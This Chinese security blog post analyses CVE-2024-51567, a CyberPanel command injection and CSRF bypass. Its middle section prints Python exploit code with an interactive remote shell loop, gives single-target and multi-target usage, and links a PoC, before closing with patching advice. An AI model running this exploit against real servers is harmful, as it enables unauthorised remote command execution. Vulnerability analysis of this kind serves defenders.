深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现

admin 2024年11月20日13:42:37评论80 views字数 1829阅读6分5秒阅读模式
在近期的安全事件中,CVE-2024-51567 成为了一大焦点。这一漏洞影响 CyberPanel v2.3.6,通过绕过 CSRF 防护和利用特定参数中的 Shell 元字符实现远程命令执行 (RCE)。本文将带您全面了解此漏洞的成因、利用方式及防护措施,并提供一个 Python 漏洞利用脚本的解析示例,帮助大家更好地理解漏洞机制及修复方法。

漏洞概述

  • CVE 编号:
    CVE-2024-51567
  • 漏洞类型:
    命令注入 / CSRF 绕过
  • 受影响版本:
    CyberPanel v2.3.6 和 v2.3.7(未修复版本)
  • 漏洞文件:databases/views.py
    中的upgrademysqlstatus 端点
  • 漏洞描述:
    攻击者通过绕过 CSRF 防护(该保护仅限于 POST 请求)并在statusfile 参数中插入 Shell 元字符,可以执行任意命令。
  • 公开利用:
    该漏洞被 PSAUX 团队于 2024 年 10 月发现并公开利用。
  • 深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现

漏洞利用的 PoC 原理

漏洞利用的核心步骤包括:

  1. 获取 CSRF Token:
    攻击者从目标服务器的 Cookie 中提取 CSRF Token。
  2. 构造恶意 Payload:
    在请求中利用statusfile 参数嵌入恶意命令,伪装为合法请求发送到upgrademysqlstatus 端点。
  3. 命令注入:
    服务端错误地执行了嵌入的恶意命令,实现远程命令执行。

以下是漏洞利用的关键代码逻辑:

payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token,"Referer": target_url } response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)

PoC 脚本解析

以下是针对该漏洞的 PoC 脚本,具备交互式命令输入、CSRF Token 获取和多目标支持等功能。

脚本核心功能

  1. CSRF Token 获取
    脚本通过 HTTPX 客户端获取目标服务器的 CSRF Token:

  2. defget_CSRF_token(client, target_url): response = client.get(target_url)return response.cookies.get("csrftoken")

    命令注入
    构造恶意请求并发送到漏洞端点:

  3. defpwn(client, target_url, csrf_token, cmd): payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token} response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)print(response.text)

    交互式模式
    脚本支持多次命令执行,直至用户输入exit

whileTrue: cmd =input("shell> ")if cmd.lower() =="exit":break pwn(client, target_url, csrf_token, cmd)

使用方法

1.环境准备

  • Python 3 环境
  • 安装httpx 模块:

    pip install httpx

2.单目标测试

运行以下命令:

python CVE-2024-51567.py http://example.com

3.多目标测试

将目标 URL 列表保存到targets.txt 文件中,一行一个 URL:

http://target1.com http://target2.com http://target3.com

运行脚本:

python CVE-2024-51567.py targets.txt

POC地址:

https://github.com/ajayalf/CVE-2024-51567

注:POC来源于网络仅供参考与测试使用

漏洞修复建议

  1. 升级 CyberPanel:
    官方已在commit 5b08cd6 中修复了该漏洞,建议用户立即升级至最新版本。
  2. 加强 CSRF 防护:
    确保所有端点(包括 GET 和 POST 请求)均具备全面的 CSRF 防护。
  3. 输入参数校验:
    对所有用户输入进行严格的参数校验,防止命令注入。
  4. 访问权限控制:
    限制敏感端点的访问,仅允许授权用户操作。

原文始发于微信公众号(云梦安全):深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日13:42:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现https://cn-sec.com/archives/3413888.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息